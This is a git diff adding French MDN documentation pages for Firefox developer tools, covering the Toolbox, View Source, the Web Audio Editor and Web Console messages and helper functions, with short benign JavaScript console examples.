  • Cliquer sur l'icône en forme de clé à mollette (), dans la barre d'outils principale ou dans le menu (), puis sélectionner "Afficher les outils"
    • +
  • Activer l'un des outils, par exemple le débogueur JavaScript ou l'inspecteur web).
    • +
  • Utiliser le raccourci  Ctrl+ Maj+ I sous Windows ou Linux, ou bien Cmd+ Opt +i pour OS X. Ou bien même utiliser la touche F12. Voir aussi les raccourcis clavier.
    • +
+ +

Par défaut, la fenêtre apparait en bas de la fenêtre de navigation, mais il est possible de la détacher. Voici à quoi ressemble la fenêtre en mode attaché :

+ +

Cette fenêtre est séparée en deux parties : la barre d'outils en haut et la partie principale en dessous :

+ +

+ +

Mode d'ancrage

+ +

Par défaut, la boîte à outils apparait ancrée en bas de la fenêtre du navigateur. Mais il est possible de l'ancrer sur la droite du navigateur, ou de la faire apparaitre dans sa propre fenêtre. Pour cela il faut utiliser les boutons de la barre d'outils.

+ +

Barre d'outils

+ +

La barre d'outils contient les boutons pour activer les outils, pour attacher, détacher ou fermer la boîte à outils.

+ +

+ +

Le sélecteur d'élément

+ +

Le bouton à gauche sert à activer le sélecteur. Il permet de sélectionner un élément de la page pour l'inspecter. Voir "Sélectionner un élément".

+ +

Outils de la boîte à outils

+ +

Il y a ensuite plusieurs boutons vous permettant de naviguer entre les différents outils de la Boîte à outils. La barre peut contenir les boutons suivants :

+ + + +

Il est à noter que tous les outils n'apparaitront pas forcément dans la barre : uniquement les outils disponibles sont visibles (par exemple : tous les outils ne prennent pas encore en charge le débogage à distance, donc si la cible du débogage n'est pas la fenêtre active, tous les outils ne seront pas disponibles).

+ +

Outils supplémentaires

+ +

La barre de boutons à gauche de la barre d'outils peut être personnalisée dans les options de développement. Par défaut, elle inclut :

+ + + +

Les outils suivants ne sont pas affichés par défaut mais peuvent être activés via les options :

+ + + +

Contrôles de la boîte à outils :

+ +

Grâce à ces boutons il est possible de :

+ +
    +
  • Fermer la fenêtre.
    • +
  • Choisir entre le mode attaché sur le côté ou en dessous.
    • +
  • Choisir entre fenêtre indépendante ou attachée
    • +
  • Acceder aux options de développement
    • +
+ +

Options

+ +

Voir la page sur les options des outils de développement.

+ +

Panneau principal

+ +

Le contenu du panneau principal dans la fenêtre est entièrement contrôlé par, et est spécifique à l'outil actuellement sélectionné.

+ +

Raccourcis clavier

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "toolbox-shortcuts") }}

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/tools/validators/index.html b/files/fr/tools/validators/index.html new file mode 100644 index 0000000000..d2a3c64358 --- /dev/null +++ b/files/fr/tools/validators/index.html @@ -0,0 +1,71 @@ +--- +title: Validateurs +slug: Outils/Validateurs +tags: + - Tools +translation_of: Tools/Validators +--- +
{{ToolsSidebar}}

Ce document liste les différentes ressources aidant les développeurs à valider leurs pages web.

+ +
Les onglets de la barre latérale ne sont pas encore disponibles.
+L'assistant de mise en conformité renverra vers Devedge
+
+ +

Si vous écrivez du code qui ne valide pas, regardez du côté des outils respectueux des standards et des outils de développement.

+ +

Extension Firefox pour la validation

+ +

Panneau des références rapides pour la barre latérale

+ +

Installez le panneauDevEdge Toolbox pour la barre latérale pour accéder rapidement aux références rapides de développement Web.

+ +

Checky

+ +

Checky ajoute un sous-menu au menu contextuel de Netscape, de Mozilla, et de Firefox qui permet d'accéder rapidement à l'un des 18 services de validation et d'analyse actuellement en service.

+ +

Applications et Services

+ +

Assistant de mise en conformité Web de DevEdge

+ +

Cette interface des services du W3C guide les développeurs Web débutants à travers tout le processus de mise en conformité d'un contenu pour le support de Netscape 7.x, Mozilla et de tous les autres navigateurs respectueux des standards du W3C.

+ +

Validateur HTML du W3C

+ +

Le validateur HTML du W3C permet de valider une page Web selon les HTML standards du W3C. Il est particulièrement utile pour détecter les balises propriétaires aussi bien que le code HTML non valide.

+ +

Validateur CSS du W3C

+ +

La validateur CSS du W3C permet de valider les CSS contenues dans une page Web ou d'un fichier externe, selon les standards CSS du W3C.

+ +

Validateur RDF du W3C

+ +

Le service de validation RDF permet de valider le code RDF/XML contenu dans une URI.

+ + + +

Cet outil vérifie la validité des liens d'un page Web.

+ +

HTML Tidy

+ +

HTML Tidy est un outil qui peut être utiliser pour rapporter les erreurs de codage d'une page HTML et formater ce code pour une plus grande lisibilité (certains outils de développement Web, tels que HTML-Kit, intègrent HTML Tidy ce qui rend plus rapide et plus facile la validation).

+ +

Validation JavaScript

+ +

JSLint (externe)

+ +

Services d'accessibilité

+ +

Lynx Viewer

+ +

Vérifie une page Web en utilisant la visualisation Lynx et permet la validation des mesures d'accessibilité.

+ +
+

Informations sur le document original

+ +
    +
  • Dernière mise à jour : 16 août 2002
    • +
  • Copyright : © 2001-2003 Netscape.
    • +
+
+ +

Interwiki Languages Lin

diff --git a/files/fr/tools/view_source/index.html b/files/fr/tools/view_source/index.html new file mode 100644 index 0000000000..9605a917b1 --- /dev/null +++ b/files/fr/tools/view_source/index.html @@ -0,0 +1,79 @@ +--- +title: Affiche le Code source +slug: Outils/View_source +translation_of: Tools/View_source +--- +
{{ToolsSidebar}}
+ +

"Code source de la page" permet de visualiser le code HTML ou XML de la page. Pour activer cet outil, il faut :

+ +
    +
  • Faire un clic droit puis sélectionner "Code source de la page".
    • +
  • Utiliser le raccourci clavier Ctrl + U, ou Cmd + U sur OS X
    • +
+ +

Avant Firefox 42, Une nouvelle fenêtre s'ouvre alors pour afficher le code source de la page.

+ +

Depuis Firefox 42, cet outil ouvrira par défaut un nouvel onglet (à la place d'une fenêtre). Pour changer cette préférence, il faut passer la variable view_source.tab à false dans about:config.

+ +

Depuis Firefox 60 la préférence view_source.tab a été supprimée ({{bug(1418403)}}), il n'est donc plus possible de changer le mode d'ouverture, les sources s'ouvriront toujours dans un nouvel onglet.

+ +

Fonctionnalités

+ +

Cet outil possède trois fonctionnalités supplémentaires. Celles-ci depuis Firefox 40 peuvent être utilisées via le menu contextuel dans l'onglet du code source :

+ +
    +
  • Aller à la ligne
    • +
  • Retour à la ligne automatique (activer/désactiver)
    • +
  • Coloration syntaxique (activer/désactiver)
    • +
+ +

Lorsque la coloration syntaxique est activée, l'outil met également les erreurs de parsage en surbrillance rouge. Survoler les messages d'erreurs affiche une infobulle expliquant l'erreur.

+ +

Pour utiliser la fonctionnalité aller à la ligne avec le clavier, il suffit d'utiliser le raccourci clavier Alt + Shift + L sur Windows et Linux ou Control + Option + L sur Mac.

+ +

Lien vers un numéro de ligne

+ +

Il est possible de faire un lien vers une ligne en particulier. Il suffit d'ajouter l'ancre #lineNNN dans l'URL du navigateur pour sauter à la ligne NNN.

+ +

Par exemple : view-source:https://www.mozilla.org/#line100

+ +

Code source de la sélection

+ +

Si une partie de la page est sélectionnée, alors l'option "Code source de la sélection" est disponible dans le menu contextuel de la page. Le comportement est le même que pour "Code source de la page" sauf que la partie du code source affiché ne sera que celle correspondant à la sélection.

+ +

Code MathML de la sélection

+ +

Si la souris survole du code MathML lors d'un clic droit, alors l'option "Code MathML de la sélection" est disponible, il sert à visualiser le code MathML.

+ +

Limitations

+ +

Il existe des limitations à l'outil qu'il faut connaitre :

+ +

Le reporteur d'erreurs n'est PAS un validateur

+ +

L'outil ne reporte que les erreurs de parsing, PAS les erreurs de validité HTML. Par exemple mettre un élément {{ HTMLElement("div") }} en enfant d'un élément {{ HTMLElement("ul") }} n'est pas une erreur de parsing, mais ce n'est pas de l'HTML valide ! Cette erreur n'apparaitra donc pas dans l'outil. Pour valider un code HTML, il est nécessaire d'utiliser un validateur HTML tel que celui proposé par le W3C.

+ +

Toutes les erreurs de parsing ne sont pas supportées

+ +

Même si toutes les erreurs affichées sont des erreurs de parsing, toutes les erreurs de parsing ne sont pas affichées. Parmi celles qui ne sont pas supportées, on retrouve :

+ +
    +
  • Les octets qui sont illégaux selon l'encodage du document ne sont pas considérés comme des erreurs.
    • +
  • Les caractères interdits ne sont pas considérés en tant qu'erreur.
    • +
  • Les erreurs de fin de fichier.
    • +
  • Les erreurs de Tree builder de texte (au contraire des tags, commentaires, ou doctypes) ne sont pas rapportés.
    • +
  • Les erreurs de parsing liées aux attributs xmlns ne sont pas rapportées.
    • +
+ +

Coloration syntaxique XML

+ +

L'outil utilise le HTML tokenizer lorsqu'il met en surbrillance le code XML. Bien que le tokenizer supporte les processing instructions lors de la coloration de code XML, il s'agit de la seule fonctionnalité orientée XML fournie. À cause de cela, les doctypes qui ont un sous-ensemble interne ne sont pas colorés correctement, et les références d'entités des entités personnalisées ne sont pas non plus colorées correctement.

+ +

Cette mauvaise coloration peut être observée en regardant le code source des fichiers chrome de Firefox (tel que les documents XUL). Cependant, cela ne devrait pas être un problème pour analyser des fichiers XML ordinaires.

+ +

A voir également

+ + diff --git a/files/fr/tools/web_audio_editor/index.html b/files/fr/tools/web_audio_editor/index.html new file mode 100644 index 0000000000..116b495b29 --- /dev/null +++ b/files/fr/tools/web_audio_editor/index.html @@ -0,0 +1,71 @@ +--- +title: Éditeur Web Audio +slug: Outils/Editeur_Web_Audio +tags: + - Tools +translation_of: Tools/Web_Audio_Editor +--- +
{{ToolsSidebar}}
+ +
+

Notice: Cet outil a été déprécié et sera bientôt supprimé de Firefox. Pour plus de détails voir : Outils Dépréciés.

+
+ +

Avec l'API Web Audio, les développeurs peuvent créer un {{domxref ("AudioContext", "contexte audio")}}. Dans ce contexte, ils peuvent créer différents {{domxref ("AudioNode", "nœuds audio")}} comme :

+ +
    +
  • Des nœuds fournissant la source audio, comme un oscillateur ou une source de "data buffer"
    • +
  • Des nœuds réalisant des transformations tels que Délai ou Gain.
    • +
  • Des nœuds représentant la destination du flux audio, par exemple les hauts parleurs.
    • +
+ +

Chaque nœud à zéro ou plusieurs propriétés {{domxref ("AudioParam")}}. Ces propriétés configurent sa fonction. Par exemple le {{domxref ("GainNode")}} a une seule propriété gain alors que le nœud {{domxref ("OscillatorNode")}} a les propriétés frequency  et detune.

+ +

Le développeur connecte les nœuds dans un graphique et le graphique une fois complet définit le comportement du flux audio.

+ +

L'Éditeur Web Audio examine un contexte audio construit dans la page et fournit une visualisation de son graphique. Cela donne une vue globale de son fonctionnement et permet de vérifier que tous les nœuds sont connectés comme attendu. Il est également possible d’examiner et d'éditer la propriété AudioParam pour chaque nœud du graphique. Quelques propriétés non-AudioParam  comme une propriété OscillatorNode's type, sont également affichées et il est aussi possible de les éditer.

+ +

Cet outil étant encore expérimental, si vous trouvez des bugs, nous adorerions que vous les reportiez dans Bugzilla. Si vous avez des avis ou des suggestions pour de nouvelles fonctionnalités, dev-developer-tools ou Twitter sont de bon endroit pour les partager.

+ +

Ouvrir l'Éditeur Web Audio

+ +

L'Éditeur Web Audio n'est pas activé par défaut dans Firefox 32. Pour l'activer, il faut ouvrir les options des outils de développement et cocher l'option "Web Audio".  Un nouvel onglet nommé "Web Audio" s'ajoute alors à vos outils de développement. Il faut ensuite cliquer sur l’onglet et charger une page avec un contexte audio. Voici deux bons exemples :

+ +
    +
  • Le Voice-change-O-Matic, qui peut appliquer divers effets à l’entrée du microphone et fournit aussi une visualisation du résultat.
    • +
  • La démo Violent Theremin, qui change le ton et le volume d'un signal sinusoïdal  lorsque l'on bouge la souris.
    • +
+ +

Visualiser le graphique

+ +

L'Éditeur Web Audio affiche alors le graphique correspondant au contexte audio chargé. Voici le graphique du contexte audio de la démo Violent Theremin :

+ +

Il utilise trois nœuds : un {{domxref ("OscillatorNode")}} comme source, un {{domxref ("GainNode")}} pour contrôler le volume et un{{domxref ("AudioDestinationNode")}} comme destination.

+ +

Connections aux AudioParams

+ +
+

Afficher les connections aux AudioParams est une des nouveautés de Firefox 34.

+
+ +

Les connections entre les nœuds sont affichés sous la forme de lignes solides. En revanche, si un nœud est connecté à un AudioParam d'un autre nœud, alors la connection est affiché sous la forme d'une ligne pointillée et prend le nom de l'AudioParam :

+ +

Inspecter et modifier les nœuds audio

+ +

Cliquer sur un nœud le mettra en surbrillance et affichera un inspecteur de nœuds sur la partie droite. Cet inspecteur, liste les valeurs des propriétés AudioParam du nœud. Par exemple voila à quoi ressemble l'OscillatorNode :

+ +

Avec la démo Violent Theremin, le paramètre de fréquence est modifié lorsque l'utilisateur bouge la souris, cela se répercute sur l'inspecteur. Malheureusement la valeur n'est pas modifiée en temps réel : il faut cliquer à nouveau sur le nœud pour voir la nouvelle valeur.

+ +

En cliquant sur une valeur de l'inspecteur, il est possible de la modifier en pressant sur Entrée ou Tabulation, la nouvelle valeur est automatiquement prise en compte.

+ +

Contourner des nœuds

+ +
+

Nouveau dans Firefox 38.

+
+ +

Dans le panneau qui affiche les détails des nœuds, il y a un bouton marche/arrêt :

+ +

Cliquer sur ce bouton modifiera le graphique pour contourner le nœud. Le nœud contourné n'aura alors plus aucun effet et sera affiché avec un fond haché :

+ +

diff --git a/files/fr/tools/web_console/console_messages/index.html b/files/fr/tools/web_console/console_messages/index.html new file mode 100644 index 0000000000..6115351784 --- /dev/null +++ b/files/fr/tools/web_console/console_messages/index.html @@ -0,0 +1,469 @@ +--- +title: Console messages +slug: Outils/Console_Web/Console_messages +translation_of: Tools/Web_Console/Console_messages +--- +
{{ToolsSidebar}}
+ +

La majorité de la Console Web est occupée par le panneau d'affichage des messages :

+ +

+ +

Chaque message est affiché sur une nouvelle ligne.

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TempsLa date et heure à laquelle le message a été enregistré. Cette information n'est pas affichée par défaut, et vous pouvez demander de l'afficher en utilisant un paramètre de la Boite d'outils
Catégorie +

Indique le type de message :

+ +
    +
  • Noir : Requête HTTP
    • +
  • Bleu  : Avertissement/erreur CSS
    • +
  • Orange  : Avertissement/erreur JavaScript
    • +
  • Rouge : Avertissement/erreur de sécurité
    • +
  • Vert : Logs serveur
    • +
  • Gris léger  : Message de l'API Console
    • +
  • Gris foncé : Messages d'entrées/sorties de la ligne de commande JavaScript
    • +
+
TypePour tous les messages sauf les requêtes HTTP et les messages d'entrées/sorties, une icône indique s'il s'agit d'une erreur (☓), d'un avertissement (⚠), ou d'un message informatif
MessageLe message lui-même
Nombre d’occurrencesSi une ligne générant un avertissement ou une erreur apparait plus d'une fois, elle ne sera enregistrée qu'une fois, et ce compteur apparaitra pour indiquer le nombre de fois qu'elle a été rencontrée
Nom du fichier et numéro de ligne +

Pour JavaScript, CSS et les messages de l'API console, le message peut être associé à une ligne de code spécifique. La console fournit alors un lien vers le nom du fichier et le numéro de ligne qui a généré le message.

+ +

Depuis Firefox 36, cela inclut le nombre de colones également.

+
+ +

Par défaut, la console est effacée à chaque fois que vous naviguez sur une nouvelle page ou que vous rechargez la page courante. Pour modifier ce comportement, cochez "Activer les journaux persistants" dans les paramètres de la Boite à outils.

+ +

Categories de messages

+ +

Requêtes réseau

+ + + +
+

Les messages réseau ne sont pas affichés par défaut. Il faut utiliser la fonctionnalité de filtrage pour les afficher.

+
+ + + +

Les requêtes résseau sont affichées sous cette forme :

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + +
TempsLa date et heure à laquelle le message a été enregistré
CatégorieIndique que ce message concerne une requête HTTP
Méthode +

La méthode HTTP utilisée

+ +

Si la requête à été faite avec XMLHttpRequest, il y a une notre aditionelle :

+ +

+
URIL'URI cible
RésuméLa version HTTP, le code de statut, et le temps qu'il a fallu pour la terminer
+ +

Si vous cliquez sur le message, vous verrez une fenêtre contenant plus de détails sur la requête et la réponse :

+ +

Défiler vers le bas révèle les en-têtes de réponses. Par défaut, la Console Web n'enregistre pas les contenus de la requête et la réponse : pour le faire, activez le menu contextuel de la Console Web et choisissez "Journaliser le contenu des requêtes et des réponses". Rechargez la page, et vous les verrez dans cette fenêtre d'inspection.

+ +

Seul le premier méga-octet de données est enregistré pour le contenu de chaque requête ou réponse. Les requêtes et les réponses très lourdes seront tronquées.

+ +

Les logs de messages réseaux ne sont pas montrés par defaut. Utiliser la fonction filtre pour les afficher.

+ +

XHR

+ +

From Firefox 38 onwards, the Web Console indicates when a network request was made as an XMLHttpRequest:

+ +

+ +

Also from Firefox 38 onwards, you can filter the network requests so as to only see XMLHttpRequests.

+ +

Like normal network request log messages, logs of XMLHttpRequests are not shown by default. Use the filtering feature to show them.

+ +

Erreurs et avertissements JavaScript

+ +

Les messages JavaScript ressemblent à :

+ +

+ +

+ +

Erreurs CSS, avertissements et évènements de reflow

+ +

Les messages CSS ressemblent à ceci :

+ +

+ +

Par défaut, les avertissements CSS ne sont pas affichés.

+ +

Évènements de reflow

+ +

La Console Web logue aussi les évènements de reflow. Un reflow est le nom donné à une opération pendant laquelle le navigateur calcule la disposition de tout ou partie de la page.
+ Les reflows se produisent lorsqu'un changement est arrivé dans la page et que la navigateur pense qu'il en affecte la disposition. Plusieurs évènements peuvent déclencher des reflows, incluant : redimensionner la fenêtre du navigateur, activer des pseudo-classes comme :hover ou manipuler le DOM en JavaScript.
+
+ Parce que les reflows peuvent être très coûteux en calculs et affecter directement l'interface utilisateur, ils peuvent avoir un grand impact sur la réactivité d'un site ou d'une application web. En loguant les évènements de reflow, la Console Web peut vous donner une idée du moment auquel ces évènements sont déclenchés, combien de temps ils prennent à s'exécuter et si les reflows sont synchrones et déclenchés par du JavaScript, quel code les a déclenchés.
+
+ Les évènements de reflow sont affichés dans la catégorie CSS, en tant que messages "Log", bien séparés des erreurs et avertissements CSS. Par défaut, ils sont désactivés. Vous pouvez les activer en cliquant sur le bouton "CSS" dans la boite à outils et en sélectionnant "Log".
+
+ Chaque message porte une étiquette "reflow" et montre le temps qui a fallu pour exécuter le reflow :
+
+
+ Si le reflow est synchrone et a été déclenché par du JavaScript, un lien vers la ligne de code qui a déclenché le reflow est aussi affiché :

+ +


+ Cliquez sur le lien pour ouvrir le fichier dans le Débogueur.

+ +

Reflows synchrones et asynchrones

+ +

Si un changement est fait et qu'il invalide la disposition courante - par exemple, la fenêtre du navigateur est redimensionnée ou du JavaScript modifie le CSS d'un élément - la disposition n'est pas recalculée immédiatement. A la place, le reflow se produit de façon asynchrone, lorsque le navigateur décide que cela est nécessaire ; en général, lorsque le navigateur redessine ("repaint"). De cette façon, le navigateur peut enregistrer une série de changements invalidants et recalculer leurs effets en une seule fois. Cependant, si du code JavaScript lit un style qui a été modifié, alors le navigateur doit réaliser un reflow synchrone pour calculer le style calculé ("computed style") à retourner.

+ +

Par exemple, le code suivant provoque un reflow immédiat et synchrone au moment de l'appel à window.getComputedStyle(thing).height :

+ +
var thing = document.getElementById("the-thing");
+thing.style.display = "inline-block";
+var thingHeight = window.getComputedStyle(thing).height;
+
+ +

A cause de cela, c'est une bonne idée d'éviter l'entrelacement des appels en écriture et en lecture des styles d'un élément lors de la manipulation du DOM, parce que chaque fois que vous relisez un style qui a été invalidé par un précédent appel en écriture, vous forcez un reflow synchrone.

+ +

Avertissements et erreurs de sécurité

+ +

Les avertissements et les erreurs de sécurité ressemblent à ceci :

+ +

Les messages de sécurité affichés dans la console web aident les développeurs à trouver les vulnérabilités de leur site qu’elles soient potentielles ou effectives. De plus, beaucoup de ces messages sont enrichissants pour les développeurs car ils finissent par un lien "En savoir plus" qui redirige sur une page contenant des informations et des conseils pour minimiser le problème.

+ +

La liste complète des messages de sécurité est la suivante :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MessageDetails
Blocage du chargement du contenu mixte actifLa page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Blocage du chargement du contenu mixte non actifLa page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Chargement de contenu mixte actif (non sécurisé) sur une page sécuriséeLa page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Chargement de contenu mixte non actif (non sécurisé) sur une page sécuriséeLa page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Le site spécifie un en-tête   X-Content-Security-Policy/Report-Only et un en-tête Content-Security-Policy/Report-Only. L’en-tête X-Content-Security-Policy/Report-Only sera ignoré.Voir Content Security Policy pour plus de détails.
Les en-tête X-Content-Security-Policy X-Content-Security-Report-Only seront dépréciés dans le futur. Merci d'utiliser les en-têtes Content-Security-Policy et Content-Security-Report-Only avec les spécificités CSP à la place.Voir Content Security Policy pour plus de détails.
Champs mot de passe présents sur une page non sécurisée (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les pages contenant des formulaires de connexion doivent être servis en HTTPS et non en HTTP.
Champs mot de passe présents sur un formulaire non sécurisé (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les formulaires contenant des champs de mot de passe doivent les envoyer en HTTPS et non en HTTP.
Champs mot de passe présents dans un iframe non sécurisé (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les pages comprenant des iframes qui contiennent des formulaires de connexion doivent être servis en HTTPS et non en HTTP.
Le site a spécifié un en-tête Strict-Transport-Security invalide.Voir HTTP Strict Transport Security pour plus d'informations
+
+

New in Firefox 36

+
+ +

This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.

+ 		+

The site uses a certificate whose signature uses the SHA-1 hash algorithm.

+ +

SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the Weak Signature Algorithm article for more details.

+ +

Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.

+
+ +

Le Bug 863874 est le méta-bug pour l'affichage des messages d'erreurs de sécurité dans la console web. Si vous avez d'autres idées pour des fonctionnalités utiles comme celles décrites ici, ou si vous êtes intéressé pour contribuer, jetez un coup d'œil au méta-bug et à ses dépendances.

+ +

Message console API

+ +


+

+ +

Cette section décrit les messages web console des appels API qui affichent véritablement quelque chose. Pour des informations plus génériques sur la console API il est possible de se référer à sa page de documentation.

+ +

Messages d'erreurs

+ + + + + + + + + + + + + + + + + + + + + + +
APIContenu du message
error() +

L'argument à  error().

+ + 
+console.error("an error");
+ +

A partir de Firefox 31, la console affiche la pile complète des erreurs :

+ + 
+function error() {
+  console.error("an error");
+}
+
+function call_error() {
+  error();
+}
+
+call_error();
+ +

+
exception()Un alias de error().
assert() +

Si l'insertion fonctionne, rien. Si l'insertion ne fonctionne pas l'argument :

+ + 
+console.assert(false, "My assertion always fails");
+ +

A partir de Firefox 31, la console affiche la pile complète des insertions :

+ + 
+function assertion() {
+  console.assert(false, "assertion failed");
+}
+
+function call_assertion() {
+  assertion();
+}
+
+call_assertion();
+ +

+
+ +

Messages d'avertissement

+ + + + + + + + + + + + + + +
APIContenu du message
warn() +

L'argument à warn().

+ + 
+console.warn("a warning");
+
+ +

Messages d'information

+ + + + + + + + + + + + + + +
APIContenu du message
info() +

L'argument à info().

+ + 
+console.info("some info");
+
+ +

Message de log

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
APIContenu du message
count() +

Le label fourni, si présent, et le nombre d'occurrences que count() a appelé avec le label donné.

+ + 
+console.count(user.value);
+ +

+
log() +

L'argument à log().

+ + 
+console.log("logged");
+
trace()Trace de la pile. + 
+console.trace();
+
dir() +

Liste les propriétés d'un objet.

+ + 
+var user = document.getElementById('user');
+console.dir(user);
+
time() +

Notifie que le timer a démarré.

+ + 
+console.time("t");
+
timeEnd() +

Durée du timer.

+ + 
+console.timeEnd("t");
+
table() +
+

Ce message est une des nouveautés de Firefox 34.

+
+ +

Affiche des données de tableau comme un tableau.

+
+ +

Messages groupés

+ +

il est possible d'utiliser console.group() pour créer des groupes indentés dans la console. Voir Using groups in the console pour plus d'informations.

+ +

Personnalisation des messages

+ +

Depuis Firefox 31, il est possible d'utiliser le spécificateur de format "%c" pour personnaliser les messages console :

+ +
console.log("%cMy stylish message", "color: red; font-style: italic");
+ +
+ +

Messages d'entrée/sortie

+ +

Les commandes envoyées au navigateur en utilisant la ligne de commande de la Console Web, et les réponses correspondantes, sont affichés de cette façon :

+ +

La barre gris foncé indique qu'il s'agit de messages d'entrée/sortie, tandis que la direction de la flèche indique si il s’agit d'une entrée ou d'une sortie.

+ +

Filtrer et rechercher

+ +

Vous pouvez utiliser la barre d'outils en haut pour filtrer l'affichage :

+ +

To see only messages of particular types, click the button labeled with that type ("Net", "CSS", and so on). Clicking the main part of the button toggles that type on or off, while clicking the arrow on the right gives you more fine-grained filter options within that type (for example, whether to display errors and warnings).

+ +

To see only messages that contain a specific string, type in the text box labeled "Filter output".

+ +

Enfin, vous pouvez aussi vider la Console Web de tous ses messages.

diff --git a/files/fr/tools/web_console/helpers/index.html b/files/fr/tools/web_console/helpers/index.html new file mode 100644 index 0000000000..f367005482 --- /dev/null +++ b/files/fr/tools/web_console/helpers/index.html @@ -0,0 +1,82 @@ +--- +title: Fonctions d'aide de la Console Web +slug: Outils/Console_Web/Fonctions_d_aide +tags: + - Debugging + - Web Development + - web console +translation_of: Tools/Web_Console/Helpers +--- +
{{ToolsSidebar}}
+ +

Les commandes

+ +

La ligne de commande JavaScript fournie par la Console Web, offre de nombreuses fonctions d'aide pour rendre certaines tâches plus simples.

+ +
    +
  • Un sélecteur passé à document.querySelector pour localiser l'iframe.
    • +
  • L'élément iframe lui même
    • +
  • La fenêtre de contenu de l'iframe
    • +
+ +
+
$()
+
Analyse le sélecteur CSS, et retourne le premier élément correspondant. Équivalent à {{ domxref("document.querySelector()") }}, ou appelle la fonction $ de la page, si elle existe.
+
$$()
+
Analyse le sélecteur CSS, et retourne une liste de nœud DOM correspondant. C'est un raccourci de {{ domxref("document.querySelectorAll()") }}
+
Depuis Firefox 41, cette méthode n'est plus un raccourci pour {{ domxref("document.querySelectorAll()")}} et à la place retourne un tableau d'éléments.
+
$0
+
L'élément actuellement inspecté sur la page.
+
$_
+
Nouveau dans Firefox 39. Stocke le résultat de la dernière expression exécutée dans la ligne de commande de la console. Par exemple, taper 2+2 puis entrée et ensuite $_ puis entrée, la console affichera 4.
+
$x()
+
Evalue une expression XPath et renvoie un tableau des nœuds correspondant.
+
keys()
+
À partir d'un objet, retourne une liste de ses clefs (keys, ou nom de propriété) . C'est un raccourci de Object.keys.
+
values()
+
À partir d'un objet, retourne une liste de ses valeurs ; à utiliser avec keys().
+
clear()
+
Vide l'affichage des messages de la console.
+
inspect()
+
À partir d'un objet, ouvre un inspecteur d'objet.
+
pprint()
+
Formate la valeur fournie sous une forme lisible (pretty-print) ; utile pour afficher le contenu d'objets ou de tableaux.
+
help()
+
Affiche un texte d'aide. En fait, dans un parfait exemple de récursion, cette commande vous amène à cette page.
+
cd()
+
Change le contexte de l'évaluation JavaScript vers une autre iframe dans la page. Cet helper accepte différent inputs. Il est possible de fournir :
+
Voir travailler avec des iframes.
+
copy()
+
Nouveau dans Firefox 38. Copie l'argument dans le presse-papier. Si l'argument est une chaine de caractères, elle est copiée telle quelle. Sinon la méthode JSON.stringify sera appelée sur l'argument et le résultat sera copié dans le presse-papier.
+
clearHistory()
+
Nouveau dans Firefox 39. Exactement comme une ligne de commande normale, la ligne de commande de la console se souvient des commandes tapées.
+
Référez-vous à l'API Console pour plus d'informations sur comment journaliser depuis le contenu.
+
+ +

Variables

+ +
+
tempN
+
L'option "Utiliser dans la Console" de l'Inspecteur génère une variable pour un noeud nommé temp0, temp1, temp2, etc. Afin de référencer le noeud.
+
+ +

Exemples

+ +

Exemple : Voir le contenu d'un nœud DOM

+ +

Supposons que nous avons un nœud DOM avec l'ID "content". En fait, la page que vous êtes en train de lire actuellement en possède un, vous pouvez ainsi directement ouvrir la Console Web et essayer.

+ +

Regardez le contenu du nœud en utilisant les fonctions $() et inspect() :

+ +
inspect($("#content"))
+ +

Ceci ouvre automatiquement l'inspecteur d'objet, vous montrant le contenu du nœud DOM qui correspond au sélecteur CSS "#content".

+ +

Exemple : Afficher le contenu d'un nœud DOM

+ +

Imaginons que vous déboguez à distance pour un utilisateur, et que vous avez besoin du contenu du nœud. Vous pouvez demander à votre utilisateur d'ouvrir la Console Web et d'afficher le contenu du nœud dans la console, de copier le texte et de vous l'envoyer par e-mail, en utilisant la fonction  pprint() :

+ +
pprint($("#content"))
+
+ +

Ceci écrit tout le contenu du nœud afin que vous puissiez le lire. Bien entendu, cette commande est plus utile sur des objets autres qu'un nœud DOM.

diff --git a/files/fr/tools/web_console/index.html b/files/fr/tools/web_console/index.html new file mode 100644 index 0000000000..7660506e93 --- /dev/null +++ b/files/fr/tools/web_console/index.html @@ -0,0 +1,47 @@ +--- +title: Console Web +slug: Outils/Console_Web +tags: + - Debugging + - Guide + - Security + - Tools + - Web Development + - 'Web Development:Tools' + - web console +translation_of: Tools/Web_Console +--- +
{{ToolsSidebar}}
+ +

La Console Web :

+ +
    +
  1. Affiche les informations associées à la page web : les requêtes réseau, le JavaScript, le CSS, les erreurs et avertissements de sécurité, ainsi que les erreurs, les avertissements et les messages d'information explicitement affichés par le code JavaScript s’exécutant sur la page.
    2. +
  2. Permet d’interagir avec la page web en exécutant des expressions JavaScript dans le contexte de la page.
    3. +
+ +

{{EmbedYouTube("C6Cyrpkb25k")}}

+ +
+
+
+
Ouvrir la Console Web
+
Commencer à utiliser la Console Web.
+
L'interpréteur de ligne de commande
+
Interagir avec un document en utilisant la Console.
+
